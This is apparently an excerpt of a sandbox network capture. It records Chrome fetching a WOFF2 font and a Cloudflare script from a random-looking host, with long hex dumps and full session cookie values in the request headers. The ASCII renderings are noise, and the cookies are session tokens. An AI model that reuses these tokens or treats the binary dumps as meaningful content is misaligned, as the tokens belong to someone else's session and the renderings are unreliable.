2024-05-22 18:02:11 UTC	1369	IN	Data Raw: 49 d3 5e 26 60 bf a5 86 5b 4a 69 0c d1 e1 b8 20 fc 23 8b 97 28 3f 36 3d bc 0d d8 3d 52 72 fe 9d 98 df f6 99 86 c4 bc 22 f8 09 5a 28 e5 b7 77 89 61 b7 36 f9 53 75 68 4b 1e a3 d9 26 75 d4 2c cc 9b ab c9 a0 c4 be a0 65 70 6a fc 71 23 f4 aa f8 fc 97 90 31 c6 86 3b 8d 2e bf 22 ac c8 63 a8 a4 64 cd 76 00 e5 20 65 ff cf 30 3f a6 13 d2 e5 62 0b a4 27 2d 7d 39 cc f0 e0 9e 1d af b5 ec 6f 86 84 31 96 bb 8e 91 1f de f5 79 ed 91 b4 46 3e b6 fa d8 67 65 be e3 e4 c7 96 8c a1 bb 91 79 70 21 64 5b 43 4a bb 5f ce 7f 6a 9e e2 6c 74 bd 98 84 44 03 65 56 43 e1 02 9a f1 01 c9 b2 0e 5a 9a 74 1e 19 d7 2d 04 6b 89 4f 3e 7f eb 62 e6 73 66 69 2d cd a3 e6 3f 27 75 aa 1d f4 11 10 73 fc 42 d2 5a c5 86 43 23 db 5e 68 e7 7a 4b d7 dd 63 72 dd 6d 59 de 57 ba ed 90 63 7c a6 8b 45 e2 fa ee Data Ascii: I^&`[Ji #(?6==Rr"Z(wa6SuhK&u,epjq#1;."cdv e0?b'-}9o1yF>geyp!d[CJ_jltDeVCZt-kO>bsfi-?'usBZC#^hzKcrmYWc\|E
2024-05-22 18:02:11 UTC	1369	IN	Data Raw: c8 6b a3 ce 59 5f c3 25 0b 9d f2 4a e9 03 fe a9 a9 bb 81 48 18 fa 58 6c d7 68 8e c9 73 ff 93 f3 ea 71 72 7c d4 67 35 e2 25 58 ad 9b 53 bb 0e 1a 84 1a b8 82 5e 74 f8 f1 ff 58 67 54 9d 62 90 e9 68 f1 c4 58 64 f4 a7 11 7b 4a 5a 49 91 3e 4e c4 a0 f3 c2 16 05 ca 58 f5 2f 67 94 92 df bd d2 cb da 8d 4e 2f c9 b6 83 3e 5b 35 3d f8 fc e3 65 9c 37 d6 d2 a2 c6 49 f6 ae d8 e1 89 37 ae 63 7d 3f 6f 70 d7 3f 3b 22 5b 75 e5 01 5e 3b bd 02 7a e2 ad bd 31 24 3b ab 34 eb 3d 4b b2 d1 8a eb d4 09 e1 09 bc 2e 7f c6 88 31 51 e6 fa 1c 6a c5 06 7d 66 4a f0 e0 eb c6 48 eb a6 3e de c9 7a 7d 78 4b d7 98 bd e2 c3 08 cd f3 88 6d ff fa 2e f6 41 89 df d6 d2 4a ff 7b f6 01 aa 12 65 af e8 2b 9c 2a 6b b9 21 bb 8c e8 e3 a7 1f ef 6f bf d7 f8 0b 47 b0 c3 71 a6 2e 6c 7f 81 ee 98 c2 d1 a6 7a dd Data Ascii: kY_%JHXlhsqr\|g5%XS^tXgTbhXd{JZI>NX/gN/>[5=e7I7c}?op?;"[u^;z1$;4=K.1Qj}fJH>z}xKm.AJ{e+*k!oGq.lz
2024-05-22 18:02:11 UTC	1369	IN	Data Raw: 30 8f 71 e0 45 cd 17 36 9d d7 1b 32 2a 11 0d 58 a9 2e 71 1b 1f 61 c5 f5 94 ef d3 73 ea 88 7e fb b9 e6 e1 b6 70 c5 34 0a fa 3b 86 fc cc ba 3c 05 7c 34 ea 88 f5 a3 a2 c0 20 35 13 6c 15 e6 41 b8 3e b6 11 22 ac 69 58 6e 3e 6f 9f 28 7b a8 5f 8d bd 76 d8 eb 29 93 79 48 c9 a3 99 6f 6d 06 7f 5d 9e f1 6c 7c 55 3b 55 c9 af 3f cf 18 45 2c 1f 72 44 e3 8e 81 85 63 86 d5 6b ad b7 62 ee 7b 30 a5 df b6 73 24 1a c7 c1 b3 0d fe d9 73 ef 8f c3 b0 9d 51 f5 d7 70 ba 54 f4 24 dd 1a 73 5e 9d 9c 39 5d 1e 8c 82 fe 2c 1f ac a6 0c ba fc c5 27 14 94 19 0f 5f 43 a0 42 02 67 1f be 85 af e9 f8 fc a5 c4 0d b4 f6 ff a2 a2 95 1c ec dd 96 1c e3 1d 16 52 27 61 e2 78 29 ad 1d 7e c2 7e d3 02 91 a1 b6 1e d4 a0 32 62 5d 05 eb 60 2f a3 ce 28 2a e3 76 d1 e6 94 8a 9e 84 ca d4 81 95 59 f2 d3 14 a9 Data Ascii: 0qE62X.qas~p4;<\|4 5lA>"iXn>o({_v)yHom]l\|U;U?E,rDckb{0s$sQpT$s^9],'_CBgR'ax)~~2b]`/(vY
2024-05-22 18:02:11 UTC	1369	IN	Data Raw: f8 8c 32 f2 52 b9 28 d4 a6 32 9a 40 88 66 46 b8 5f 12 ff ff f1 87 04 f0 10 a2 2a 99 3a 19 38 85 1e 76 b6 ca 97 a4 50 a1 74 c5 4a 64 28 d7 28 4b 8b 76 a5 ba f4 a8 34 64 58 ad 57 5e a9 37 61 5a 83 05 0b b0 56 ec 6a b1 ef 8d 6e 47 be ea 77 69 c1 73 7e 5b 36 e1 26 c8 81 08 6c e7 58 14 76 72 2e 2a 52 87 d1 0a 77 14 a7 68 9f bb 2f d5 97 1e 6b e9 a2 36 6d fd ae 5d 6f 7f 1a b0 82 9f bb 29 b7 d4 fd 91 ac f6 10 55 d6 d9 81 2f c0 08 b1 30 af 61 14 e9 1d cc 52 bc 9b 4d aa f7 6a 94 66 cc 30 31 cf 58 e7 eb 7d 07 9e e7 07 f4 ff dd 72 11 79 f7 17 5f 34 4c 30 6f 52 00 13 2c 5d 6a a1 96 01 ec 65 65 8c c9 a0 60 fb 80 e3 33 a2 57 29 00 94 cf 1c 2c af 0c ea d6 9e 38 04 86 2f cf 6a 38 67 ad fd e2 eb f5 49 f1 24 1f c0 fb 3c e2 91 ad 41 0a dd d8 dc da de ed 78 67 77 6f ff 60 6d Data Ascii: 2R(2@fF_:8vPtJd((Kv4dXW^7aZVjnGwis~[6&lXvr.Rwh/k6m]o)U/0aRMjf01X}ry_4L0oR,]jee`3W),8/j8gI$<Axgwo`m
2024-05-22 18:02:11 UTC	1369	IN	Data Raw: 2c 41 21 b6 b0 88 47 91 d7 a4 a8 59 49 85 cd e8 3b 74 ea d2 ad 47 af 01 83 2a 50 d0 30 b0 86 e7 e1 2b 22 33 b7 92 8a 9a 86 56 b1 9b 6b ab d7 c0 f1 42 d4 c9 4c 7c 57 eb 35 6a d6 a2 4d 87 17 ba 74 eb d5 6f f0 25 a9 7f fd e7 cc 5b b0 68 c9 b2 15 ab d6 ac db b4 65 db 8e 5d 7b f6 1f 5c 46 ee 05 c1 f8 3a a8 e2 f4 ae 1d 96 85 be 31 95 e5 ba 29 b3 5a 43 66 ac 5d ff 03 0f b1 75 01 fc b2 4f 81 3a f6 64 4f 47 bb 09 e2 3c 29 42 ad e2 3e 22 4d c4 96 88 6b 74 7e fd 64 e0 75 81 12 2b 3a af dd 10 60 9b 79 6f a0 89 16 44 eb 3a 5f 22 ef c0 43 4c be cd 4a 39 0e c7 e5 59 da 0b 4e c2 cb e5 0c c1 50 23 94 b7 f3 4e de 25 4a c6 14 ad b2 60 08 6e 56 39 dc aa d3 6a 2d 0f 41 b9 5a df dc ee da de da be da fe 15 9d 13 bc 46 63 60 98 0d 8b 15 9c 87 cd 92 34 67 eb 36 27 78 65 b2 4c 56 Data Ascii: ,A!GYI;tG*P0+"3VkBL\|W5jMto%[he]{\F:1)ZCf]uO:dOG<)B>"Mkt~du+:`yoD:_"CLJ9YNP#N%J`nV9j-AZFc`4g6'xeLV
2024-05-22 18:02:11 UTC	1369	IN	Data Raw: 2b 00 1c 18 0f 5d 54 95 c8 98 28 93 32 63 a4 7d 4c 7f a8 5d 3c fc e6 0b 52 65 a8 96 ad 58 0e 9c 5d eb b6 6c 47 61 61 c3 76 2e 25 66 40 87 ee 2b 77 72 0b b9 36 71 8f ab 5f 1d 5b f5 cc bb 91 f0 45 30 3e 81 94 2f a3 d2 8e 56 37 3a 3d a8 75 61 30 8d d1 0c 4e 07 58 6c 60 b7 83 db 11 56 9b 78 3d f6 4d 93 ef f2 ae 35 07 29 06 c0 76 69 21 92 12 8b a1 27 35 49 2b 44 12 93 cf 48 71 b0 40 ca 43 53 1d 9e ca b0 90 23 52 1b 9b e6 94 b4 a7 a7 35 4d 21 2e 87 4c c3 aa 9a 97 c9 d2 f4 17 66 95 1f bf 28 5e 61 c2 ca 24 35 89 ab 13 55 a5 5c 9f 62 5d f2 f6 6c 6f 17 b8 23 ef de 82 df 2a 60 7b 41 6f 16 f1 7e 31 ad 15 2b a1 9d 92 db 2f b1 dd 08 f8 24 f1 58 b6 cd cf a7 2f 72 be 06 8f cf 43 45 27 ad 4d b5 a1 b3 3a 34 5b ca 51 91 0f 59 c2 86 19 45 7e 58 f8 7b 3d fb a0 a4 f6 ba ef b4 Data Ascii: +]T(2c}L]<ReX]lGaav.%f@+wr6q_[E0>/V7:=ua0NXl`Vx=M5)vi!'5I+DHq@CS#R5M!.Lf(^a$5U\b]lo#*`{Ao~1+/$X/rCE'M:4[QYE~X{=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.17	59895	188.114.97.3	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:02:09 UTC	1420	OUT	GET /cdHTrgIfxVnMGL3mur53GZppEX78Gw6Ke7xoztQTkl93 HTTP/1.1 Host: l6agz47874.eleteriod.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://l6agz47874.eleteriod.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://l6agz47874.eleteriod.com/GIUVBENOELELFZHVJGRJARAEcuklweeqftuggnrbfef?avdpyfnsaihevlyllklgbgppwzgvijsyuartpqu Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjQ5YldhWitWK2N4dUkvSmFlV2k1aFE9PSIsInZhbHVlIjoiT2JEQkl6dmUrMTJQWEc4T1NUTGFra3VCUkIxRmNqSUVwR3BXZmpXa3IzdTBGNHZQWXcyV2dkLzhkNlFVUVhIN3ZRekcrYWJVaGtkcGV6RTNoMWxvWlFWaVFGN254dGNJeGdaV2ZranFFalJGdVhIQVZmV01LcXBpU3pOYXlZZkciLCJtYWMiOiIzYzE5MmU0Y2NjOGUwMDNlYjFjNTljMjBkODIyZjhiZTFkYjM3NDZmN2RkMGVkOThlZDljMTU2MjU3NjQzY2E4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlIvY0dKQTVkSzFXY0JhVkZvWEc2SGc9PSIsInZhbHVlIjoiUEZDUDNKTlFxdnNPOEZhTDN2dnpGbnFhSXlNR2s1dE9OM21FMGY3MnlHUTdOOFNtMWZtek1xWUFmbUJqOW9FMlppZzlSeUZzUjNHS3ljNUwyTGV0bkYvNXRscVY5OU9hZ0o2U0MxSGZsRjBZaHh0aXY5NFAxTHN0WjZLYXNTTksiLCJtYWMiOiJhOGRjYmMwYmFiOGRlNjU5NTFlYzgzYmViZjQ5ODU0MzUyMDBhNzZjMmU0MGNlYjlmNzRjNTU1NGMwZGRjNTU2IiwidGFnIjoiIn0%3D
2024-05-22 18:02:11 UTC	639	IN	HTTP/1.1 200 OK Date: Wed, 22 May 2024 18:02:11 GMT Content-Type: font/woff2 Content-Length: 93276 Connection: close Content-Disposition: inline; filename="cdHTrgIfxVnMGL3mur53GZppEX78Gw6Ke7xoztQTkl93" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PInoTt3pKlc0Mu%2FlLr9C1e62hBR014hJN0cz2hPBxva24JIkFt%2FJ0oPGyifc8h04iLvY9tCZvbqkIF3Fg8moSq4%2BjF96QMQVxXOA8C8tbZO8TeR2MQFrBsZTCLBRBw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 887eb730d8bb1801-EWR
2024-05-22 18:02:11 UTC	730	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 01 6c 5c 00 14 00 00 00 04 b2 20 00 01 6b e0 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a a4 76 1b 83 bb 26 1c 93 24 3f 48 56 41 52 a0 6a 3f 4d 56 41 52 81 46 06 60 3f 53 54 41 54 81 36 27 38 00 91 18 2f 81 48 11 08 0a 81 f8 0c 81 d3 78 0b 89 1a 00 30 8b e7 3a 01 36 02 24 03 92 30 04 20 05 97 7a 07 a2 17 5b 12 9a 94 07 25 22 db df 13 ba a5 ab c1 a5 a2 a8 fe 21 df bb 49 da 54 19 b0 7f a9 77 90 21 63 9b 48 1d ce cd 74 1d 5d 6b a5 08 9e a7 0f c8 36 9d f1 82 43 79 c3 a8 7f 55 6c b7 72 65 ff ff ff ff ff ff 9b 92 49 8c e9 25 e8 25 f9 7f 00 15 44 45 b1 a0 ba ce 76 d3 69 ae 51 46 38 dc dd 84 83 d2 69 48 19 21 72 0a ca e2 f4 da d1 50 34 5a 5b b9 db ae 1d f6 5a 73 10 9e 89 b6 6f 06 0e 72 ef e2 38 62 1c 4f e8 Data Ascii: wOF2l\ kv&$?HVARj?MVARF`?STAT6'8/Hx0:6$0 z[%"!ITw!cHt]k6CyUlreI%%DEviQF8iH!rP4Z[Zsor8bO
2024-05-22 18:02:11 UTC	1369	IN	Data Raw: 31 3d 9b c5 f6 b9 49 10 0f f1 f9 f3 34 67 bd 3f f3 47 f2 33 13 26 d3 99 30 4c 26 e9 24 85 40 52 36 bb a5 e2 88 55 8c 15 6f 9d dd 3a ed 9a 53 a7 3d 0a d4 1c b3 db 62 55 0b a1 75 ca 5d 7a ac 57 38 5b 55 18 7c 37 fb 27 fe 25 e6 f2 75 2e 9c 88 31 31 8e 19 67 3c c6 ba 5e c7 a0 eb fa 4a c9 da 50 42 1b 4a 48 42 02 11 f0 6b fa b3 0f 0e 89 0a 91 8a 5d c4 80 28 24 a5 0d 44 ae 16 ab 53 22 75 be b7 ce 37 e2 fc ab 39 9f 38 15 a3 ee d4 9c 1a 55 a3 e6 37 13 d4 a6 ed 52 24 04 df 78 a9 f9 ac 67 d0 58 9b 7a 56 81 2c a8 24 a5 19 ab 89 79 c6 3a 8e 8d 8a 88 86 51 24 4f 4d c7 b1 f6 b7 9f 71 cc e7 20 a3 88 08 28 df 96 4f e5 14 c4 00 22 12 64 3c 07 6c c8 ed 39 a9 fd 7c 5e 42 08 72 b6 35 8f d0 c3 f3 a7 fd cc b9 79 69 bb 44 99 0f b9 5f 84 16 09 3c 50 9b f9 6f 92 11 08 a9 28 52 65 Data Ascii: 1=I4g?G3&0L&$@R6Uo:S=bUu]zW8[U\|7'%u.11g<^JPBJHBk]($DS"u798U7R$xgXzV,$y:Q$OMq (O"d<l9\|^Br5yiD_<Po(Re
2024-05-22 18:02:11 UTC	1369	IN	Data Raw: 33 40 09 60 f2 22 97 8e 0c 63 96 10 1c 40 42 44 dd f4 16 cf 30 00 2b fb 79 0b 30 ab c4 72 0d 2d 40 8d fe 19 13 b5 2f 74 e2 3e 24 50 23 ab dc 2a 66 4d 64 c4 fc ff 2f 53 ab 6d 24 50 26 09 49 5d 09 75 9d 3e c1 ea 31 1f d2 98 cf 56 cd 54 a8 74 6a 7f 21 1b e3 9c 0f 44 44 22 1d 29 45 26 48 55 24 92 52 07 92 54 55 20 21 75 7d 24 c8 3a 01 40 86 24 32 00 8a cd 24 e5 2d 59 9e 72 a6 cc 4b 24 d5 13 80 aa 7a 82 60 1b 94 34 ce 2d 67 b1 1c ca 96 d5 9c 33 32 e3 a4 1a e3 36 db 24 c7 b1 8d db a9 6a 45 cd 8a 9a 55 8a e3 a8 9a fd 86 aa 55 d5 ac d4 1a bf 33 7e d7 67 f8 e7 6d 4f ce f6 e5 66 e3 7f 46 56 c8 0a 61 36 e5 a3 4e 26 1e 46 a2 08 72 83 40 08 87 47 e1 7f 99 5a a6 68 7c 99 6e 6c d2 0f 2b 33 dc e8 4e 91 71 44 5d 90 6c 29 8d ba 7f af 41 f7 5b 43 0e ce 0d 46 16 90 e1 0e ce Data Ascii: 3@`"c@BD0+y0r-@/t>$P#*fMd/Sm$P&I]u>1VTtj!DD")E&HU$RTU !u}$:@$2$-YrK$z`4-g326$jEUU3~gmOfFVa6N&Fr@GZh\|nl+3NqD]l)A[CF
2024-05-22 18:02:11 UTC	1369	IN	Data Raw: 48 90 de 8b 35 34 35 e1 43 b4 b6 e2 5b 28 0a 7e 3f b8 60 01 41 a5 a2 9d 5f aa aa 92 e7 97 9e 00 03 7a 83 f2 df f4 f1 96 7c fe b4 e4 ea d5 9a f9 6c b0 ba 4a 10 6f b7 59 2c ed 74 74 e4 f7 a7 d3 2b 96 40 40 51 66 f5 e7 a0 33 8f 73 f2 d6 c3 e5 9d c3 71 fc 46 72 66 3c 24 2e ce 60 06 3a c8 29 d6 a8 8f 62 ff a8 a5 b5 cd eb 44 76 4b 25 94 fc d0 62 76 e3 42 5d fd 97 64 4c 8b a5 52 6f f8 db 8f 00 94 fc c8 46 5c bd 1c c3 40 2b d1 7a 43 c4 ad 17 b2 b7 ee 9b 4d 09 0d f9 6d 07 99 10 1d 47 e6 96 3a 20 3d bc 3a 0d 3e bf 95 84 ea 25 93 ae 69 08 6c df 80 35 2a 08 70 c7 de 92 9c 79 e0 1a 17 e6 d0 2b 30 1e 2f 83 0e c7 e9 73 30 77 e7 e6 02 22 bb d8 06 99 5b ee 22 53 80 20 c8 6e 2c 06 05 26 12 28 14 52 ba 16 12 3d a2 47 3f 10 f5 06 a5 24 4d 82 75 e6 ad 90 27 62 69 e9 36 4c 84 Data Ascii: H545C[(~?`A_z\|lJoY,tt+@@Qf3sqFrf<$.`:)bDvK%bvB]dLRoF\@+zCMmG: =:>%il5*py+0/s0w"["S n,&(R=G?$Mu'bi6L
2024-05-22 18:02:11 UTC	1369	IN	Data Raw: 50 20 a3 13 2c 12 f3 54 e7 d6 9d 2d b4 a6 93 cf 99 1f a7 dd 6e 68 53 44 dd 65 65 89 d1 c0 a3 92 64 cc 31 18 63 26 13 31 4e cf 58 79 53 b2 2e db 9a 28 b6 9b 3c a6 00 5c 5e 11 8b 83 4b be 05 32 16 f2 27 f7 9c df b0 9c 1c 87 3a fa 62 03 4e 5f dc 30 32 d9 0e 2d 29 bb 39 86 5a ea 25 1c f9 80 80 d3 b0 59 47 03 e1 38 0e 99 e4 42 e4 67 ce e4 d4 da 88 c7 03 50 4c 29 22 8c 02 70 3a 8b 8a 3b 0f 04 48 26 b5 d1 e4 52 e7 01 3b 4a af d0 d3 a7 68 fe d1 72 c3 4a 60 ba 24 bf 8f 51 eb 11 25 b1 c6 4b 41 a6 d8 73 32 1b 16 4b c4 62 8e e3 36 ec 6e b3 cd 37 b4 0e 4b 95 68 ab 33 1a 0d ac 6a 2b cd a4 45 22 f2 62 82 62 42 1d c3 cc f9 59 5f 50 eb 07 b4 8a da 4d aa 17 47 d3 fa a5 80 8d 11 25 a5 a5 8e 5b 88 5c b9 82 21 5e 88 6c 18 63 03 d6 93 18 f3 cb 40 59 d9 d2 20 37 88 18 e8 62 0c Data Ascii: P ,T-nhSDeed1c&1NXyS.(<\^K2':bN_02-)9Z%YG8BgPL)"p:;H&R;JhrJ`$Q%KAs2Kb6n7Kh3j+E"bbBY_PMG%[\!^lc@Y 7b
2024-05-22 18:02:11 UTC	1369	IN	Data Raw: 62 41 f7 21 1d 7e 41 9f 82 2c b7 fc 55 50 9b 51 70 75 a8 cf 20 94 27 85 0a 16 c2 d5 50 55 97 db 1a cc e4 ea f8 bf 7f 82 9d cf b0 bf bf a8 d2 cf 05 72 5b e8 50 23 0f 23 4b 61 90 94 da f0 4d c9 51 9e 26 0a ec ec ab 69 b4 bd c3 2f 0a f0 74 03 f6 16 2e 59 39 12 0b bc 0c 0d 75 a9 8f 01 48 d7 04 85 96 d2 ab 02 9b de 6d db bd 90 bc 86 ef 83 5a 63 5b 32 e2 71 f8 6e c1 87 75 a9 ee 4c f7 99 27 02 3c 78 27 d8 98 de f7 56 7f 6e f1 fc aa 81 eb 24 c5 fb 60 e0 b0 f2 f0 af dd 25 60 5f 6c d7 6b c0 60 ea 09 fc a1 7e ef 21 d2 65 be 87 84 64 f1 c8 69 fa 9c 49 2f cf 79 79 88 42 e1 4d be 7d 02 60 bf 63 b8 ea ea 63 24 2b 5c 48 cf ca 79 d8 58 89 bd 6f 81 38 cf 87 07 47 13 25 b0 2d d0 2c 71 94 b6 07 95 04 aa e5 65 bc fd e1 eb 93 81 1b a5 d7 ee 19 35 2a 5a aa 17 d4 e1 0e 65 4b 21 Data Ascii: bA!~A,UPQpu 'PUr[P##KaMQ&i/t.Y9uHmZc[2qnuL'<x'Vn$`%`_lk`~!ediI/yyBM}`cc$+\HyXo8G%-,qe5*ZeK!
2024-05-22 18:02:11 UTC	1369	IN	Data Raw: 60 fd 57 1d d4 64 13 9a 90 a7 8b 89 35 60 8b 3c b7 b7 76 cf d3 be da d0 82 50 1b dc 81 52 9f 2b 78 b5 85 1a db 2f 23 11 ee 7e 0f 9c d7 f5 b8 cb 06 d1 4f 79 55 8a 13 9b 6a a8 95 46 95 37 af 7b 7d 90 cb 24 1d 9e 26 31 5b 76 a7 8e 76 62 74 7b e0 dc a7 f1 6e 9f 45 d5 21 b2 23 85 2c cb e7 31 09 a3 7a 4c d0 45 20 b1 44 fe 05 66 c7 02 03 dc df d5 bb 25 f4 ec 02 f0 c1 23 0b fa 7f ae 9b 73 07 7b 16 f5 36 ec ec 00 db ec 7f d4 4b 78 3e 73 73 9f 0a ae ec e5 80 c4 cf 0a 3d 62 99 08 c1 b2 7d c7 70 b5 8c c7 69 52 40 79 3c 9f b9 99 d4 52 6e df 0a 35 b9 f0 ac 83 b5 6c 74 9e b8 70 fd 1d b6 ee 75 41 04 b5 ad 5c 10 e6 ad df 53 fe 59 1e 0a 54 02 09 f8 5e ab e5 8c c5 72 4c 47 c6 3b 62 55 95 51 f0 eb 4f 75 3e 57 a6 36 98 bc fe b1 bc ff 61 18 a2 79 e6 01 b9 02 66 9e 81 b8 b7 6b Data Ascii: `Wd5`<vPR+x/#~OyUjF7{}$&1[vvbt{nE!#,1zLE Df%#s{6Kx>ss=b}piR@y<Rn5ltpuA\SYT^rLG;bUQOu>W6ayfk
2024-05-22 18:02:11 UTC	1369	IN	Data Raw: 07 b4 bb 45 c2 e3 55 62 10 69 58 16 18 ff 45 1e a2 6d 55 84 60 bb 94 83 f1 a5 aa 10 eb 80 6a 04 ba dd 16 24 bb cb 76 94 bb db 0e 54 fa b4 dd 28 f7 19 9d a8 f4 59 7b 91 ec f3 f6 a1 d0 17 ec 47 b1 2f ea 42 a1 2f 39 80 62 df 74 12 bc df 77 06 bc 3f 73 01 b9 7e ee 71 e4 fb bb 2d ec ef 7f d2 19 f5 41 7b 18 ef 31 87 58 ef 21 27 d1 79 d4 69 74 9e 74 8d 23 23 9b 2c 50 b6 a6 80 27 3b 52 c2 93 d9 40 c0 e7 aa a0 90 01 f3 29 68 ec d8 71 e2 04 83 80 00 e3 c2 05 82 1b 37 71 1e 3c 50 15 2c 96 c1 03 90 05 75 49 6e 2d 19 e1 95 12 4e d0 eb 09 a1 25 6a 42 ad 00 59 26 63 cf 71 3e 9d 2c 30 95 67 c9 12 c6 10 a1 01 97 41 48 16 7e 72 c0 e5 e1 a3 00 5c 91 be b5 13 b4 60 8d 50 60 16 62 8c 23 2c 93 87 41 a6 b8 c0 32 1b d9 cc f1 84 5d ca eb c5 8d 70 d0 ac bc 4b 85 93 72 39 40 ae f8 Data Ascii: EUbiXEmU`j$vT(Y{G/B/9btw?s~q-A{1X!'yitt##,P';R@)hq7q<P,uIn-N%jBY&cq>,0gAH~r\`P`b#,A2]pKr9@
2024-05-22 18:02:11 UTC	1369	IN	Data Raw: 33 0d 97 86 cc aa 3c 41 79 a5 b8 da 6d 00 aa 75 3c 04 9b 2b 02 72 61 45 50 0c 27 48 8a 66 58 8e 17 c4 72 ff 0a aa a6 1b a6 65 03 00 88 b0 24 13 ca b8 50 54 ad 3e b1 db 03 04 84 eb 88 80 62 38 41 52 34 c3 72 bc 20 96 b6 51 46 51 6b 9b a9 63 98 56 a3 e2 13 15 c2 04 21 e9 30 60 05 83 86 c4 8f e9 a0 a9 ff f0 17 a0 b7 17 e7 07 65 da fd 98 7e d8 04 c0 0d b5 75 78 ca 39 2a af 15 ac 6d 98 37 9c 46 60 a4 51 46 1b 63 ac 64 29 52 a5 49 97 21 53 56 45 1d 2a 36 25 95 a2 4c b9 8a 2a 47 ac 4a 54 ab 51 5b dd e8 d5 a3 41 e3 73 28 bc 75 10 b4 db 41 a5 28 53 8e 1e d2 f3 3a cc bc 1d 7c fc 10 25 da bd f2 fc a6 e8 16 82 4b 39 b0 71 4d 28 28 c1 54 d4 34 0d d5 a6 e7 9b d7 02 78 db f5 6f 2c 5c 2e 36 76 cf fe a6 f4 a5 10 31 09 09 d0 9e 36 f0 1f 3e 12 3b 49 4b 4b 4b 4b 4b bf cf 6e Data Ascii: 3<Aymu<+raEP'HfXre$PT>b8AR4r QFQkcV!0`e~ux9m7F`QFcd)RI!SVE6%L*GJTQ[As(uA(S:\|%K9qM((T4xo,\.6v16>;IKKKKKn
2024-05-22 18:02:11 UTC	1369	IN	Data Raw: c0 da 0b 27 5c 84 48 51 a2 c5 d8 27 43 26 02 22 92 13 20 64 14 59 b2 e5 a0 3a 99 67 82 e6 ee 72 cf 1d 66 c7 a3 2c 1a da 79 0f 13 14 29 92 e2 71 c9 44 e4 e7 84 a0 c2 9f f7 0e ba a8 11 61 68 5f fa 1d ff f6 b8 d7 09 45 9d f7 18 61 a2 cf d1 a7 76 8f 13 7e b0 51 c5 d3 5b 09 40 57 2c 6f 6b b6 61 22 ea 37 fd 68 16 80 a1 c0 35 c2 0c d2 3a 85 ef 21 50 78 14 9f 15 27 6e bd a6 4d 6a 70 82 bc 56 5c ed c3 07 4f fc db 7e b8 f3 ce 26 a0 dc bc 05 0a 43 71 81 c0 11 41 31 9c 20 29 9a 61 39 5e 10 3b a3 77 e9 b5 a7 54 3d eb 39 f8 84 11 13 21 91 29 54 1a 9d c1 64 b1 39 5c 5e fe 82 0a 00 c0 d0 b2 c2 20 28 56 b8 c4 22 c4 92 8f 4b c4 db e9 d5 16 77 f3 73 34 90 cb 61 6b a5 67 b8 d1 63 dc 12 db 49 a1 78 8f 3a 70 56 78 9c f7 22 15 6d 55 d4 d2 cd 70 8f 4e b6 dd 48 9f a8 82 3e b4 c1 Data Ascii: '\HQ'C&" dY:grf,y)qDah_Eav~Q[@W,oka"7h5:!Px'nMjpV\O~&CqA1 )a9^;wT=9!)Td9\^ (V"Kws4akgcIx:pVx"mUpNH>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.17	59898	188.114.97.3	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:02:09 UTC	1401	OUT	GET /cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js HTTP/1.1 Host: l6agz47874.eleteriod.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://l6agz47874.eleteriod.com/GIUVBENOELELFZHVJGRJARAEcuklweeqftuggnrbfef?avdpyfnsaihevlyllklgbgppwzgvijsyuartpqu Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjQ5YldhWitWK2N4dUkvSmFlV2k1aFE9PSIsInZhbHVlIjoiT2JEQkl6dmUrMTJQWEc4T1NUTGFra3VCUkIxRmNqSUVwR3BXZmpXa3IzdTBGNHZQWXcyV2dkLzhkNlFVUVhIN3ZRekcrYWJVaGtkcGV6RTNoMWxvWlFWaVFGN254dGNJeGdaV2ZranFFalJGdVhIQVZmV01LcXBpU3pOYXlZZkciLCJtYWMiOiIzYzE5MmU0Y2NjOGUwMDNlYjFjNTljMjBkODIyZjhiZTFkYjM3NDZmN2RkMGVkOThlZDljMTU2MjU3NjQzY2E4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlIvY0dKQTVkSzFXY0JhVkZvWEc2SGc9PSIsInZhbHVlIjoiUEZDUDNKTlFxdnNPOEZhTDN2dnpGbnFhSXlNR2s1dE9OM21FMGY3MnlHUTdOOFNtMWZtek1xWUFmbUJqOW9FMlppZzlSeUZzUjNHS3ljNUwyTGV0bkYvNXRscVY5OU9hZ0o2U0MxSGZsRjBZaHh0aXY5NFAxTHN0WjZLYXNTTksiLCJtYWMiOiJhOGRjYmMwYmFiOGRlNjU5NTFlYzgzYmViZjQ5ODU0MzUyMDBhNzZjMmU0MGNlYjlmNzRjNTU1NGMwZGRjNTU2IiwidGFnIjoiIn0%3D
